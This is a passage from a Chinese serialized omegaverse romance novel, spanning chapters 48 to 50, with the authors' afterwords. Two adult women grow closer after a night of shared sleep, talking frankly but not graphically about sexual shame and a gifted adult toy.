程卿言读懂了她的沉默,有些忧愁地拧了拧眉心,除姜映之外,她没和小她将进十岁的小姑娘亲密地打过交道,更没和有性羞耻的人打过交道,她该怎么安慰她? 这坏东西真难搞,怎么会有这么多框框条条的原则。 已经很晚了,姜映不想影响女人的睡眠:“姐姐你睡觉吧。” “睡什么睡,”此刻睡觉和做爱做到一半突然停下来有什么区别,程卿言幽幽应了一句,又觉得她不该在这种时候用这种语气和小姑娘说话,又柔了下来,“我不困。” 瞧不见女人的神情,听着她又凶又柔和的声影,姜映颤睫,低低地嗯了一声。 哎。 小可怜。 “你知道你现在多大了吗?”程卿言思忖片刻,出声问道。 “马上二十一。” “你还记得余简予吗?” 为什么突然问她这些问题,姜映有些不解:“记得,余小姐是你的朋友,我在你家里见过,在你车上也见过。” “我十八岁那年,她就拉着我一起看了一些尺度较大的影片,你梦里那些事情,真的不算什么。” “我二十岁那年,她送我的生日礼物是一款女性成人用品,好像叫小海豚,当晚我就躺在床上用了几次,那是我第一次用这些东西,你知道结束后我在想什么吗?” 怎,怎么突然说这种事情,还对她提问,她又没在场,她怎么知道啊。 姜映脸颊微热,很不好意识:“我不知道……” 程卿言给她说:“我在想为什么我这么迟才用上这种好东西,那种由小腹蔓延至全身的痒意,绵长颤抖,虽然很累,但很爽,很舒服,结束之后我把手放在腰腹附近,还能感觉到那里在颤栗跳动,控住不住的颤动,和心跳完全不一样。” 当时她的腺体状况还比较良好,睡眠情况也不糟糕,精神也不错,休息十多分钟后,在卧室里放起音乐,又玩了一会儿。 这些东西对当时的她而言,不仅仅能带来快乐,还能解压,那一年她陆陆续续买了很多同类型的产品。 程卿言说她的事情:“怎么不说话?” “啊?”alpha听得耳朵滚烫,需要她说什么啊, 夸程卿言厉害吗? 她脑子热的都快不能思考了。 “那是我的二十岁,比你还小一点,你觉得我恶心吗?”程卿言平静地问道。 姜映摇头,立马回答:“不恶心。” 程卿言问:“为什么?” 姜映如实说:“二十岁已经成年了,有欲|望是正常的生理现象。” 还知道是正常的生理现象,看来也不是很傻,程卿言有种孺子可教的感觉:“你都不觉得我恶心,那你为什么觉得你恶心?” 姜映眨了眨眼:“不一样。” “哪不一样?” “你是自己,我是做的梦,不只是我自己。” 程卿言挑眉:“你怎么知道我没做梦?” 前天她从姜映家回去那晚,就梦见了一些姜映在现实中不会对她做的快乐之事。 闻见,姜映抿唇愣了几秒,在愣住这几秒里,她不是去想程卿言做这样的梦的对与错,而是下意识在想女人在梦中是和谁。 谁有资格被女人梦见…… 程卿言哪知道她在想这事,继续刚才的话题:“所以你会做这样的梦也是正常的现现,你是人,你有七情六欲,不是榆木疙瘩。” 而且姜映还喜欢她,梦见她不是应该的麻嘛。 如果不梦见她,对她一点欲望都没有,她要么怀疑女生不行,要么质疑自己的魅力。 “我真的不介意你梦见我,”程卿言捏了一下女生的指尖,“记住了没?” 痒意从指尖传到心脏,姜映心口颤动,嗯了一声。 紧接着她又听见女人说:“不要随便怀疑自己的人品,即使有人怀疑你,你也要坚信你是很好的,我也会坚信你是很棒的人。” alpha心口的颤抖在女人柔和的声音中逐渐蔓延至全身,她觉得全身都麻麻的。 其实程卿言不知道,姜映这种情绪淡然的人,根本不会在意别人对她的看法,她一直是坚定地做自己认为对的事,在自己的节奏里努力过着安稳的生活,外界的纷纷扰扰对她影响很小。 就像她因为拒绝了别人的表白,被不理智的发帖骂上了校园墙,就像她因为青朝杯的闭幕式上了热搜,无论是好的,还是坏的,别人对她的评价几乎都不会引起她的情绪起伏,看了就过了。 而就在此刻,在她女人捏着她的指尖,她浑身泛麻的那一瞬间,她突然意识到,她好像很在意程卿言对她的看法。 很在意,很在意。 女人说她是很棒的。 很棒。 即使她不想承认,她的身体给她的反馈,让她不得不承认。 郁闷难受了几天心脏,像是被一双无形的手揉了几下,瞬间变得舒畅起来。 手的主人。 此刻正握着她的手。 姜映轻轻扭头朝着女人的方向看过去,周围太黑暗,只能隐约看见女人的轮廓,看不见女人是以何种神情看向她。 好可惜,姜映有些遗憾,她忽然很想看见她,看她有没有注视着自己,看她眸光中的自己,她在后悔她主动关了灯。 马上快两点了,白天既是签约仪式又是开会,晚上还办了晚宴喝了些酒,程卿言体力不支,身体已经很累了:“你还难受吗?” 她说了这么多,如果alpha依旧在死胡同里待着不出来,觉得难受,让她白费口水,她不敢保证她会不会脾气上来了,一觉把alpha踢下床。 要难受就滚出去难受。 说不准吹吹冷风,把脑子吹清醒了就什么毛病都没有了。 好在姜映说:“不难受了,谢谢你。” 程卿言满意地嗯了一声:“那我睡了明天早上起床的动静小一点,乖一点,不要吵醒我。” 姜映乖乖道:“好的,晚安姐姐……” 她其实还没喜欢当着女人的面叫姐姐,心中会有些别扭,可她感觉女人好像喜欢听她叫姐姐,所以她愿意叫出来。 “晚安。”程卿言闭上眼睛,迷迷糊糊回应她一句,闻着令她感到舒适的味道,很快就睡着了。 姜映没闭眼,依旧保持着侧躺着的睡姿,卧室很安静,她能听见女人均匀的呼吸声,由此判断,女人已经睡着了。 可是她没有任何困意,她不想睡,也不想闭上眼睛。 在什么也看不清的黑暗中,谁也没察觉到alpha目光灼灼地看着女人模糊的轮廓。 什么也没做,就这样一直看着。 程卿言在睡着前没有收回她握着女生掌心的手,因此她睡着后,两人的手也是挨着。 姜映眼睫颤动,轻轻动了动指尖,耳畔泛起了红,就不再动了。 女人睡着后手上已经松了力,不再像醒着时那般有力地握着她,她此刻能轻而易举地收回手,可是她没有,她让她握着。 姜映在想什么? 其实什么也没想,她一直向往平静无波的生活,本能地讨厌卷入复杂的事情中。 这会儿她看着omega的轮廓,握着她的手,莫名感觉平静安稳,和她向往的平静生活无异。 可这是程卿言,即使不是世界的女主,即使和系统没有关系,即使姜映的梦境是假的,她也是碚城权贵之家的继承人,程卿言的生活怎么会和平静扯得上关系。 女人注定是复杂的。 她为什么会感到安稳平和? 不知过了多久,睡梦中的程卿言翻了身,随着她翻身的动作,手也收了回去。 姜映掌心空落落,片刻后,她颤睫轻轻呼了一口气,也闭上了眼睛,渐渐有了困意,睡着前她在想,女人今晚带她过来,为什么不叫她提供服务就睡了? 翌日清晨。 姜映在七点醒了过来。 昨晚她睡得太晚了,因此比她平时正常自然醒的时间要晚半个小时。 醒来时,姜映依旧是朝着程卿言的方向侧躺着的睡姿,而程卿言正好也是朝着她的方向侧躺着。 因此,她睁开眼时女人完美无暇的脸庞便映入她的眼帘,姜映心跳猛得快了几拍,眨了眨眼,眸光轻柔地落在了女人的眉眼上,心脏扑通扑通地跳着。 冬日的清晨七点,天只是模糊亮,又有窗帘遮挡,即使今天是晴天,这会儿落在屋内的光也很少。 在模糊的光里,姜映颤着眼睫看着女人,安静地从七点躺到了七点十分,又从七点十分躺到了七点二十五。 她今日有早八,她得起床了。 用着最快的速度洗漱,用着最快的交通方式赶回学校,二者加起来至少需要二十多分钟。 如果她再不起,一定会迟到。 可天色还没大亮,她一直没能看清程卿言的脸,也不知道为什么,就是想看她,想看她的看向自己的眼神,昨夜没能实现的念想,经过几个小时的发酵,不仅没有消失,仿佛成为了执念。 姜映提了口气,拿起放在床头柜上的手机,先给任课老师发了请假消息,得到准许的回复了,随即登录教务系统提交了起假条。 请假总得有个缘由,得填写原因。 大学生常有的原因无非就是那几个:头晕发烧,生理期,家里有急事…… 除了真有事情要忙需要请假,姜映作为准守校规校纪的乖学生,没有虚假地请过假。 这是她第一次,第一次用假的理由请了假。 提交好请假条,她的心跳很快,心虚到有点不敢看她的作案工具,于是快速将手机息屏,放回了床头柜。 好紧张。 她到底在做什么。 若是放在以前,她绝不会认为自己能干出这样的事。 是不是有点不务正业了啊? 仅仅因为想看女人的脸,她就请假了。 姜映第一次做这种事,除了紧张,她感觉她还有点兴奋,甚至觉得刺激。 好陌生的体验,她都快出汗了,难怪大家喜欢逃课请假。 姜映轻轻做了几次深呼吸,缓了缓心绪,待平复过来后,重新侧躺着看向程卿言。 随着光越来越明亮,女人的脸逐渐清晰,清晰到她可以看见她脸上细微的绒毛,还发现了女人的眼尾处有一颗颜色很浅的痣,浅到很容易被人忽略。 几缕不安分的碎发从女人鬓角滑落至脸颊,似乎有了痒意,让睡梦中的女人轻轻颤了颤眉心。 姜映见状,犹豫几秒,伸出手将那几缕秀发轻轻别到女人耳后,见女人眉心舒展时,她眉眼弯弯,嘴角轻轻扬起。 眼波流转间,越发明亮的光投进屋内,卧室亮堂起来。 程卿言的眼睫颤动,双唇轻轻张了张,轻微翻动的身体与被单磨蹭间出了声响,有要醒来的趋势。 姜映察觉到了,在女人醒来前几秒,她翻身平躺着,随即闭上了眼睛。 她也不清楚她为什么要这样做,待她反应过来时,她已经平躺闭眼了。 闭上眼,视觉消失,其它感觉就会放大。 能听见耳边的摩擦声变大,能感受到女人的呼吸声在靠近,越来越近,姜映紧了紧按在床单上的手。 * 一夜好眠的程卿言并不知道姜映已经醒了,她醒来后只觉得浑身舒畅,不失眠的感觉真好。 静躺了两分钟,缓缓睁开眼,瞧见躺在旁边的女生时,颤着眼睫愣了两秒。 嗯? 她拿起手机看了眼时间,八点出头了,姜映怎么还在睡。 不去学校上课吗? 难道没课,所以想多睡会儿? 她知道女生是守纪律的人,做不出逃课之类的事情,但又想到了上一次女生在她家就因为睡得太死,闹钟叫不醒,敲门叫不醒,灼眼的阳光落在脸上也没醒,最后错过了一节课。 这次是什么情况,程卿言有些拿不准。 瞧着女生赏心悦目的睡觉,女人挑眉,眸光缓缓落在了alpha薄润的双唇上。 她坐着了起来,掌心撑着床单,附身靠经女生的脸,在仅剩十厘米左右时才停了下来,眸光渐深,喉咙泛起了丝丝痒意。 距离太近,呼吸交错在一起。 下一瞬女生忽然睁开了眼,与她对视着,懵懵懂懂的样子令人想在她脸上掐一掐。 程卿言在心里叹口气,这坏东西早不醒晚不醒,偏偏在这会儿醒,真不懂事,可她没有退回去,依旧保持着附身的姿势,在极近的距离里和女生对视着。 眉梢轻佻,缓缓启唇:“早。” 起床后的第一句话,泠然的声音中带了些沙哑,听得姜映耳畔微微发痒。 女人穿着吊带睡裙,领口低而宽大,又是半附在她身上的姿势,垂落下来的秀发刚好落在了alpha的脖子上。 很痒,姜映想躲,可她不敢动,连眼神都不敢乱动,不然会瞧见令她面红耳赤的画面。 姜映眨眨眼:“早。” 其实不早了,程卿言坐了回去,担心她是睡过头了:“已经八点过了,你今天不上早八吗?” “今天没有早八……”姜映说这话时其实有点心虚。 不过女人根本不会在这种事情上怀疑她,姜映乖孩子的形象深入人心,程卿言嗯了一声:“那你还要睡会儿吗?” 高精力人群入睡快,也不需要很长的睡眠时间,姜映摇头:“不睡了,你呢?” “我也不睡了,”程卿言看着她,“你昨晚做春|梦没?” 她不是在八卦调侃,她是在关心女生,若是又做梦了,她正好可以问问她是什么感受,借此判断女生的性羞耻有没有好转。 她问的很直白,姜映脸红,快速摇头:“没有。” 可惜了,不能在她开导后的第一时间得到反馈,她第一次开导小姑娘,很想知道教学结果怎么样,程卿言轻轻叹了一口气,嘱咐道:“那你下次做了,记得告诉我。” 姜映脸颊微红,惊讶:“啊?” 程卿言睨她一眼:“啊什么啊,记住了没?” 姜映有点羞涩地哦了一声,乖乖应道:“记住了。” “不许骗我。” “不骗。” 程卿言十分满意她的态度,不过以姜映这种性格,想在一朝一夕正视自身的性需求,改掉性羞耻的毛病,应该不太可能。 女人忽然想到一个问题,问道:“你有没有自娱自乐过?” 姜映困惑,一脸单纯看着她:“什么自娱自乐?” 竟然没听懂。 看来女生不适合含蓄,只适合直白,程卿言起床,说出了那两个字。 都是“自”字开头,但比自娱自乐直接很多。 姜映瞳孔微微放大,脸颊通红,立马道:“我,我,我没有,我不需要,我没有想过。” 说话的声音都比平时要大了许多。 程卿言:…… “没有就没有,你别激动。” 姜映闭上嘴,确实有点激动了,额头上都冒汗了。 程卿言看了看她,贴心地给她递了张纸巾。 “谢谢,”姜映擦了汗,呼了口气,安安静静缓了一会儿,女人在她冷静期间,拿起了手机回复工作上的消息,也没管她。 一两分钟后,她缓得差不多了,见对方正好放下了手机,她想了想问道:“你感觉昨晚睡得好吗?” 程卿言点了点下巴:“挺好的。” “那……”姜映颤睫,有些欲言又止。 程卿言:“想说什么就直说。” 姜映嗯了一声,捏了捏掌心,鼓起勇气温声细语道:“你上次离开我家的时候说和我睡的感觉挺好的,我理解的是睡眠质量好。” 程卿言挑眉,不然? 那晚alpha昏睡一整夜,她们难不成能做别的。 姜映继续:“你刚刚也说昨晚睡的很好,那是不是说明你和我睡着一起,睡眠质量会变好?” 看吧,好学生只要不涉及生理需求那块儿的事,智商就在线的,两次就找出了关键点。 若是那日她告诉女生她能分泌信息素,她不是信息素无能的alpha,所谓的老毛病只是alpha的易感期到了,女生应该很快就会推断出她患有信息素紊乱。 程卿言缄默两秒,睡眠这个事倒也没有隐瞒的必要,她嗯了一声:“我觉得是的,挨着你睡觉,我睡眠应该能变好。” 为什么是应该,而不是肯定,她也只和她睡了两次,次数太少了,无法确认她的想法是不是正确的。 听了女人的回复,姜映眨了眨眼,心里冒出一种开心的情绪,开心她能帮到她,她对女人而言是有用的,她眸光清澈地看着女人,诚恳道:“你如果需要,我可以经常来陪你睡觉。” 经常来陪她睡觉。 程卿言眸光微颤,嘴唇靠近女生的耳畔,呼着热气:“如果你常来,我想要的就不只是睡觉了,可能还想你对我做一些别的事,你行吗姜映?” 作者有话说: 小姜逐渐学坏ing。 完形填空,现在请假看姐姐,以后请假()姐姐 晚安,明天见 第49章 愉快 愉快 第四十九章 姜映知道自己在说什么吗? 经常来陪她睡觉。 程卿言近期的欲念本就比较强烈,不是想亲她的嘴,就是想在接受临时标记时,做一些令她身心愉悦的事。 女生的气息温度,女生的样貌身材,她都很满意,都在她的审美中。 偶尔单纯地睡着一起,她尚能接受,但次数多了,她会受不了,纯粹是在折磨自己。 这也是她明知道挨着女生睡,可能会改善她的睡眠,但她没有主动提出来,让女生帮忙的原因。 程卿言不爱吃苦,不爱折磨自己,尤其是在生理欲望上,她直白坦诚。 但姜映是个有性羞耻的坏东西,做场不算春|梦的梦都能难受成那样,注定无法给她想要的,无法满足她,她也不想为难女生去做不爱做的事情。 难道遇见这么干净单纯的人,就让其一直干净下去。 所以经常躺在一起干嘛,睡素觉吗,这样她会更加失眠。 程卿言知道姜映是好意,她心领了,还是那句话,她不想折磨自己,因此她没有直接答应,而是将问题抛给了女生,让她自己去考虑。 不只是睡觉,还想要她做别的事情? 别的什么事? 姜映颤了颤眼睫,暂时没明白过来女人的意思,思忖片刻问道:“在睡觉的时候,是需要发生些肢体接触吗?” 程卿言轻点下巴:“你愿意?” 姜映捏了捏掌心,轻轻地嗯了一声:“如果你需要牵手和拥抱,我不介意的,我可以答应。” 昨晚女人也牵了她的手,虽然有点点不习惯,但她也得承认,她喜欢和她牵手的感觉。 那么,抱着睡,她应该也可以接受的,她会努力克服羞耻。 “姜映啊。” “怎么了?” 程卿言伸手,指尖轻轻抚了抚alpha青涩单纯的脸,而后又捏了捏alpha软软的耳垂,难得耐心道:“我想要的不只是这些。” “那你想要什么?”只要能帮上忙,姜映都想帮她。 程卿言呼了口气,捏住女生的指尖:“是一些比你的梦更过分的事情。” 姜映指尖一颤,怔愣几秒,脑子不由自主快速回放了她的梦,而女人要做一些比她的梦过分的事情…… 她虽然没有做过,不知道具体怎么操作,但对此也有朦胧的概念。 这,这怎么可以啊,刷的一下,alpha整个人红了起来,浑身热热的。 见状,本来就没想为难她的程卿言笑了一声,坏心思一起,夹着声音,故意用暧昧低缓的声音逗她:“能对我做吗?” 姜映哪经历过这些,耳朵滚烫,紧张到红了眼尾,无措地看着女人。 她想帮她好好睡觉,可是,女人说的那些事,已经完全超出了她的认知,她不仅不会那种事,她在认识的人面前还有肌肤裸露羞耻症,她不敢答应,她会搞砸的。 不会要哭了吧。 大早上就把小姑娘弄哭,是不是显得她太坏了,程卿言在心里轻轻谴责了自己,收敛了她的坏心思,正经道:“好了,所以你不用经常来陪我睡觉,我也不需要你经常来,偶尔陪陪我就行了。” 在她郁闷烦躁,在她极度疲倦但又无法入睡的情况下,帮帮她就足够了。 姜映深呼一口气,认真地嗯了一声,她考虑不周全,她都听女人的:“你需要的时候就告诉我,我会过来的。” 程卿言嘴角轻扬:“那是自然。” 姜映想了想:“需要把这条内容添进合同里吗?” 她知道对方做事谨慎,添进合同里就意味着有了法律效应,她必须得对此保密,添进合同里,对方肯定会放心很多。 程卿言扬着的嘴角又落了下去,睨了眼alpha:“不加。” 这坏东西怎么一直想着那份破合同,她不想在合同里面加任何东西。 合同的期限短暂,如果信息素紊乱的药物研究失败,她生命的期限也会变得很短暂,无论因为哪一个期限,她都不想姜映是一份有期限的礼物。 姜映好奇:“为什么?” “我不想要合同约束你,”程卿言认真地看着alpha的眼眸,认真道,“我要你心甘情愿。” 心甘情愿想见她,想帮她,想她。 在女人的注视下,姜映的心跳开始加速,扑通扑通的跳动让她心口发颤,这种心颤在这几日好像频频出现。 都是因为程卿言。 她的心跳好像在为程卿言失控,失控的那块地方,好像有什么在生根发芽,要冒了出来。 “别傻愣着了,起床了。”程卿言掀开被子下了床,女生没早八不用上学,但她有工作得上班,新项目刚启动,她没什么时间休息。 姜映卷翘的长睫颤了颤,回神应声:“好的。” 秦助理按时定了早餐,在程卿言洗漱好时,她就提着早餐上了楼,将手上的袋子递给姜映。 姜映礼貌道谢:“谢谢。” 秦助理微笑:“不客气,应该的。” 她有种感觉,按照目前的发展趋势,姜映同学很有可能成为她未来的老板娘,她可得和她处好关系,日后她涨工资的机会就更多啦。 姜映拿出餐盒摆在桌上,和程卿言一起吃了早餐。 女人问她:“你今天整个上午都没课吗?” “有课的,”姜映眨了眨眼,细声细语,“我回学校了,就得去上第二节课。” 已经请了一节早八了,她不能再把第二节课也请了,这样太玩物丧志。 快速吃完早饭,她回房换上了自己的衣服。 程卿言看了看她手中脱下来的睡袍:“就放沙发上吧,有阿姨来收拾卫生。” 姜映应了声好,背上书包:“我先回学校了。” 程卿言点头:“路上注意安全。” “好的,”姜映在玄关处换好鞋,手落在门把手上时又回头,眼睛亮亮的:“姐姐。” 程卿言眉梢轻扬,心情愉悦:“说。” 姜映:“谢谢你昨晚安慰我。” “不客气,”程卿言仿佛知道女生所想,继续道,“先欠着,等我有需要安慰的时候,你也可以安慰我。” “好的。”姜映笑了一下,关上门走了。 alpha走后不到一分钟,程卿言手机忽然响了一声,多了一条微信消息,她点开瞧了瞧。 姜映:【我想一直欠着,你永远也没有需要安慰的时候,你要开心】 程卿言眼睫微颤,心也麻麻的,笑了一声。 真诚的坏东西。 坏东西其实不知道,昨晚就是女人心情很烦躁需要安慰的时候,她出现在校门口来赴约那一秒,已经让女人心情平复了下来,不再去想那些乱七八糟的事情。 程卿言放下手机回了卧室,打开衣柜拿出一套搭配好的衣服,没化妆,简单地涂了口红提了提气色。 换好衣服后重新回了客厅,拿手机时移动了姜映换下的睡袍,睡袍包里掉出一张折叠成小方块的纸巾,她随手拿起来,指腹下好像有东西,于是将其打开,指尖拿起包在里面的白色小药丸。 程卿言细细看了几眼,这是什么药? 她没见过。 不过这会儿也没时间去多想,一颗药而已,说不准是维生素之类的东西。 程卿言坐电梯去了负一楼的停车场,秦助理下车给她开门,待她上车后,开车去了公司。 早高峰有些堵车,车速较慢。 程卿言拿起秦助理给她准备好的文件,是几份与科技园项目所在地拆迁有关的文件,她神色认真地看着,片刻后出声问道:“何助今晚能从云县回来吗?” 拆迁地在云县,居住的人大部分都是上了年纪的老人,情况比较复杂,何助今早天没亮就过去与那边的同事对接实际情况了。 秦助理说:“能回来,不过应该会很晚。” 程卿言嗯了一声,重新拿起另一份文件看了起来,眉头渐渐拧了起来,一路沉默。 到了程氏总部大楼,女人乘坐专属电梯上了楼,在办公室里待了几分钟,和余简予一起去了会议室。 会议室大屏幕上放着拆迁地的详细情况,各大部门的负责人逐一提出了自己的想法。 在项目开启前,高层就知道云县那块地的拆迁问题较为复杂,居住在那里的老人年岁已高,既不图钱也不图利,就想在老家过一辈子,思想旧,性格也固执,想说服他们签字不是一件容易的事。 不过大家早已有了心理准备,不管有多难,都得想办法处理,不可能在第一步就停下来。 讨论过后,程卿言定下了期限,二月份之前得解决拆迁的问题。 不到两个月的时间。 “程总,时间会不会太紧了?” “你们觉得要多久,三个月,半年,延长时间了就保证能完成?” 没人敢保证,拖得越久,面临的意外就会越多,而且之后要处理的不只是拆迁的问题,项目的其它部分也得跟着进行,一环扣一环,确实不能拖。 压力大,完不成就加班,程氏给的加班费,年终奖,薪资,各种福利待都对得起员工的付出,员工和集团之间是双向选择。 无人再有异议,自行调整状态,提高效率,全身心投入到工作中。 会议进行了一个多小时才结束,程卿言回了办公室,话说的太多,喉咙有些干,喝了小半杯温水才缓解了不适。 若非必要,她一般不会喝咖啡,不是不喜欢,就像她得少喝酒一样,她也得少碰咖啡之类的东西。 摄入过多,容易影响她腺体的稳定。 何助已经将目前整理好的拆迁地的最新资料发给了她,程卿言点开看了起来,她处理工作时专注力高,长期保持一个姿势,在腰间有了明显的酸意时才停下来缓了缓。 程卿言呼了口气,看了眼电脑屏右下角的时间,其实她没坐多久,是她的体力不如以前了。 再次明显地感到她的体能下降了。 无法避免,肯定会继续下降。 她只是希望下降的速度能慢一些,不要在她想做的事情上,拖她的后退。 微信响了一声,程卿言回神,点看手机瞧了瞧,是一张姜映发来的照片,阳光洒落在随风飞扬的银杏叶上,一只胖乎乎的橘猫正跳起来去碰那片银杏叶。 很美好温馨的画面。 姜映告诉她:【它比柚柚小一个月,但它柚柚还要胖】 程卿言回复:【你怎么知道她比柚柚小?】 姜映:【它是学校的原住民,出生的时候校猫协会的人就把它登记到专门为猫猫开发的系统里面了,上面写了明确的出生时间】 校园氛围好,小动物都过得平静安稳,程卿言问:【平时有很多人投喂她?】 姜映:【这倒是没有,校猫协会每天会定时定点投喂,伙食开得很好,它饭量大,比同批次的猫长得快】 大家投喂的心是好的,但并不是每个人都懂养猫的知识,如果投喂了太多猫条之类的食物,或是买到了黑心猫粮,其实对猫不是很好。 校园猫不缺吃的,猫协会的经费充足,因此大家都自觉不胡乱投喂了,想对猫好,可以加入猫协会学习正确的养猫知识,为猫猫做实事。 姜映解释后,又发来几张猫猫的照片,程卿言都点开看了看,每一只都养得很好,她还瞧见了照片右下角显示的拍摄时间,不是这会儿拍摄的,时间在一个多小时前。 她早上问过女生,上午有课,目前还没到十二点,她也上过大学,知道这会儿是上课时间。 姜映又发来一条消息:【学校里还有天鹅,姐姐你想看吗?】 程卿言眉梢轻佻,直接道:【你这会儿在哪?】 消息发过去后,女生就没有秒回她了,她继续:【在上课对吗?】 隔了几秒,姜映回她了:【嗯】 程卿言:【不好好上课,开小差找我聊天?】 姜映:【我错了,姐姐我错了,我马上关掉手机,好好听讲】 程卿言放下手机,轻笑一声,乖学生居然也会上课偷偷玩手机,真是难得。 她一直以为安分乖巧的alpha不可能做这种事情,会老实地遵守各种规章制度,看来她对女生的了解还不到。 不过上课开小差应该就是姜映的极限了,再怎么违纪,肯定不可能做出逃课缺勤之类的事。 哎。 真乖。 她对女生确实挺感兴趣的。 程卿言忽然有些后悔了,alpha已经主动提出了要经常来陪她睡觉,她为什么要拒绝,直接答应不就好了。 先把人哄到床上,她耍点手段,和女生发生点什么应该不是一件困难的事情。 她享受到了就行了,短暂的生命在于享受,为什么还要去考虑姜映的感受,考虑她能不能接受,考虑她私下会不会难过,考虑她的自我厌弃会不会严重。 她是以自身利益为重的商人,她什么时候变得这么善良了。 归根到底还是对姜映过分心软了。 “坏东西。” omega轻轻念了一句。 让她苦恼的坏东西。 * 先是请了一节课的假,看女人睡觉,而后又在上课时开小差给女人发消息。 这些完全不像姜映会做出来的事情,说出去也不会有人相信她会做这些事。 其实她自己也不太相信她会做这样事,可她就是做了。 虽然有点不适应,感觉有一点点对不起认真传授知识的老师,但是,但是,她做这些坏事时,真的感觉有点兴奋。 甚至在想,她若是再做一些更坏的事,会不会更激动。 就像程卿言的生活,注定是复杂,她的意识也告诉她,得远离复杂,可是昨晚她躺在女人身边,在黑暗中看着女人模糊的轮廓时,她真的觉得很安稳平和。 她为什么会这样? 姜映有一点搞不懂自己,她不是一直都很喜欢平静安稳,无波无澜的生活吗,不喜欢牵扯到复杂的事情中,从小到大一直安安分分,循规蹈矩地生活着。 曾经有人问过她,她小小年纪,为什么一点也不活跃,喜欢循规蹈矩的生活。 还有人和她开玩笑,问她是不是在躲债,如果太活跃了,就会被债主注意到。 姜映不知道,她也解释不了她为何会喜欢那样的生活。 喜欢。 她突然在“喜欢”二字上顿了几秒,神情微微怔愣。 她情绪很淡,所以她好像也没有因为这种生活方式而感到开心,这种生活节奏就像是一道植入她大脑里的程序,生来带有。 她从有思考能力开始,就一直这样活着。 想活着,安稳地活着。 如果说是程序。 她又想到了那日莫名其妙出现在她身上,安排她做任务的系统,顿时有了种大胆的想法,她所选择的生活方式,会不会和系统有关? 可是系统只出现了那一次,就再也没和她联系过了,就连电流一般嗡嗡嗡的响声也消失了。 她也不知道怎么才能联系上系统,解答她心中的困惑。 “姜映,你来回答一下这个问题。” 老师忽然点了她的名,姜映连忙回神,有些不好意思地看向讲台,看向屏幕上的问题。 她方才走神去了,根本没有听讲,不过她没慌张,快速读了问题,是她之前就自学过的内容,思索片刻,逻辑清晰地做答。 “坐下吧。”回答上了问题,老师也没为难她。 姜映坐下后,深呼了一口气,努力不再去想别的事情,开始认真听讲,进入了学习状态。 课后去了食堂吃饭,中午没有午休,在图书馆自学了一个小时。 下午是满课,姜映在途中是有走神的时候,指尖多次摸向了手机,下意识想点开微信给程卿言发消息。 但在最后又制止了自己,咬了咬舌尖提醒自己不要走神,认真学习。 窗外夕阳落下,天空染色灰,渐渐转为黑色,月色笼罩。 姜映出了教学楼,站在台阶上拍了一张月亮。 但照片不如人意,和实景相差甚远。 她的手机价格不贵,拍照功能一般,将近用了四年了,拍阳光下的近景,勉强能看,但想拍夜空,就不行了。 因此她没有发给程卿言,背着书包,约上周青月一起去了图书馆,继续为寒假去研究院实习的事做准备。 实习申请她已经提交了,研究院那边还在审核走流程,暂时没通知她结果,不过她觉得她应该不会被拒。 林池意已经发了一些资料给她,让她提前熟悉,资料比较多,很多都是她大学阶段没接触过的理论知识,需要她提前自学。 她知道林池意也很忙,能给她发资料,她已经很感激了,她没有再去麻烦她。 时而走神,时而专注,不知不觉中就将近凌晨了。 姜映和周青月一起走回寝室。 夜风瑟瑟。 周青月冷得缩了缩脖子,鼻尖冰冰凉的,她感慨:“这几天我都在刻苦学习,期末肯定挂不了科。” 姜映如实说:“不会挂科的,你这么聪明,就是平时懒了一点点,如果你再刻苦些,应该能进你们专业的前十。” 碚大的专业前十是什么概念啊。 含金量很高。 有人这样夸她,周青月十分开心:“真的吗?” 姜映嗯了一声:“真的。” “唉,可惜还有半年就要毕业了,不然我还真想试试考专业前十是什么感觉。” “你可以考研,不过今年来不及了,下个周就开考了,你可以在明年报名,以后研究生阶段体验前十的感觉,”姜映认真地给她想办法,“我和林溪可以一直监督你复习。” 姜映直博,林溪保研,接下来几年依旧在上学,即使不在一个学校,但她们有群,在群里也可以每天提醒周青月学习。 闻言,周青月收到了惊吓,立马摇头道:“不不不,我就是说说而已,其实我对前十也没什么兴趣,不考研!” 好不容易要毕业了,她才不想天天早起上课了,她家里对她的要求很低,只要不创业,不和不三不四的人往来,不染上烧钱的恶习就行了。 毕业后随便找个清闲的工作,或是在家里当全职女儿,都是可以的。 “好吧,”每个人对未来的规划不一样,姜映不会干涉她的选择,只是道,“如果你改变主意了,可以告诉我们。” 周青月知道她们是好意,嗯了一声:“我知道了,好冷啊,我们走快点,我要冻成冰棍了。” 姜映应了声好,加快步伐。 “哎呀,你慢一点,我跟不上了,”片刻后周青月就气喘吁吁,停下脚步休息了十几秒,休息时在心里感慨一番姜映的体能真的强到过分,她问,“对了,我发在群里的网恋诈骗案例你看完没?” 姜映:“这两天比较忙,我只看了三分之二。” 周青月操心,反复提醒她:“你有空的时候,记得把剩下的看了,认真看啊,我没骗你们,快过年了,骗子都出来挣钱了,我们以防万一。” 姜映点头:“知道了,我会看完的。” 姜映没有敷衍她,她说到做到,次日下午只有一节课,在空闲的时候,她把群里的所有网恋诈骗案例都看完了。 她感觉套路都差不多,骗子会将自己包装成有钱有学识的成功大姐姐,知性成熟,社会经验不丰富的大学生最容易上当。 所以要保持警惕,生活中如果突然出现了这么完美的女人对自己很好,那很有可能就是陷阱。 姜映眨了眨眼,抿着唇愣了几秒,莫名想到了程卿言。 和案例里的坏女人好像啊,简直一模一样。 正想着,程卿言给她发消息了:【给你买了个礼物,已经送到快递站了,你有空去取一下】 姜映颤睫:【什么礼物?】 程卿言不告诉她:【你取了再告诉你】 姜映这会儿就有空,正好也离快递站很近,十分钟内就取到了女人送给她的东西,不过盒子的表面没有提示是什么东西。 她发消息:【我取到了】 程卿言:【拆了吗?】 【还没有,】姜映准备回了寝室再拆,【里面是什么?】 女人回了她两条消息。 【是我二十岁那年收到的那种礼物】 【马上周末了,周末愉快,玩得开心姜映】 作者有话说: 小姜(羞涩):收到姐姐的同款礼物啦(但是不会用),家人们有人送礼物吗? 橙总:不会用,我教(最后也是在自己身上检验教学成果) (橙总不全是心软,是以退为进,放长线掉大鱼,她要小姜憋不住,求她,要小姜心甘情愿) 今天发红包吧(礼物)(*^▽^*) 晚安,明天见 第50章 想吗 想吗 第五十章 是程卿言二十岁那年收到的礼物。 姜映颤睫怔愣几秒,明明女人没有明说是什么,可她福至心灵,瞬间猜到了女人送她的什么。 是那晚女人安慰她时提到的那种…用品… 刷的一下,alpha在寒风呼啸中,脸颊瞬间通红,手里的礼物如同烫手山芋,丢又不舍得丢,拿着又心慌。 怎么也没想到女人会送她这种礼物。 程卿言很好心发消息提醒她:【你别在马路上打开,不然你可能会不好意思】 